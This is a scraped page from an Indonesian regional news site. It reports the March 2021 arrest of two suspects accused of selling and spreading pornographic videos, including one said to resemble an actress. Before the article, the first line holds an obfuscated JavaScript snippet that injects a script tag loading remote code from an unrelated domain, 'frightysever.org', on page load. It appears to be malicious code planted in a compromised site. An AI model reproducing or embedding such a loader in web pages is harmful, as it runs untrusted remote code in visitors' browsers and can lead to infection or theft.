(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Video Syur ‘Mirip Artis Gabriella’ Dijual di Situs Dewasa, Pelaku Raup Rp 75 Juta!


KANALKALIMANTAN.COM, JAKARTA – Polisi menguak kasus penyebar video syur artis yang disebut ‘mirip artis Gabriella Larasati’ yang dilakukan tersangka NK, beberapa waktu lalu.

Dari penyelidikan, ternyata pelaku NK diketahui menjual video tersebut situs pornografi online. Dari situ, NK mengaku meraup keuntungan hingga puluhan juta.

“Yang bersangkutan (NK) sudah melakukan aksinya ini selama 10 bulan terakhir dan berhasil meraup keuntungan sekitar Rp 75 juta,” ujar Kapolres Metro Jakarta Barat Kombes Ady Wibowo kepada wartawan di Polres Metro Jakarta Barat, Senin (1/3/2021), dilansir detik.com.

Ady mengatakan, video mirip ‘artis Gabriella Larasati’ ini termasuk salah satu yang dijual oleh tersangka NK. Tersangka juga menjual beberapa konten pornografi lainnya di situs goc**.com.

“Jadi bukan hanya film ini, tapi ada juga film-film lain yang dimiliki oleh tersangka NK ini,” kata Ady.

NK diketahui memiliki 14.000 pengikut yang telah berlangganan di websitenya untuk mengakses berbagai konten video porno tersebut. Untuk mengakses video porno di website tersebut, mereka harus menjadi member agar bisa memiliki kebebasan akses.

“Itu memang ada member ada yang member biasa, member VIP dengan kisaran Rp 250-300 ribu untuk menjadi membernya,” jelasnya.

Selain menangkap NK, polisi menangkap tersangka MSA di Trenggalek, Jawa Timur. Keduanya mengaku menyebar video porno untuk menambah followers.

“Yang bersangkutan ini (MSA) mempunyai akun Twitter bernama bbffofficial, saat ini followers-nya 10 ribu. Tersangka dengan maksud, MSA ini bermaksud (sebar video porno) untuk menambah followers-nya,” kata Kapolres Metro Jakarta Barat Kombes Ady Wibowo kepada wartawan di Polres Metro Jakarta Barat, Jakarta, Senin (1/3/2021).

Dari keduanya, polisi menyita barang bukti 3 unit handphone, dua kartu ATM Bank BCA, dan laptop. Kedua pelaku kini diamankan di Polres Metro Jakarta Barat.

“Kedua tersangka ini dikenakan UU Pornografi dan UU ITE dengan ancaman pidana penjara selama 6 tahun,” tegas Ady.(Kanalkalimantan.com/detik)

Editor: cell

 

 


Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

5 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

6 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

6 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

6 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

6 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

7 jam ago

This website uses cookies.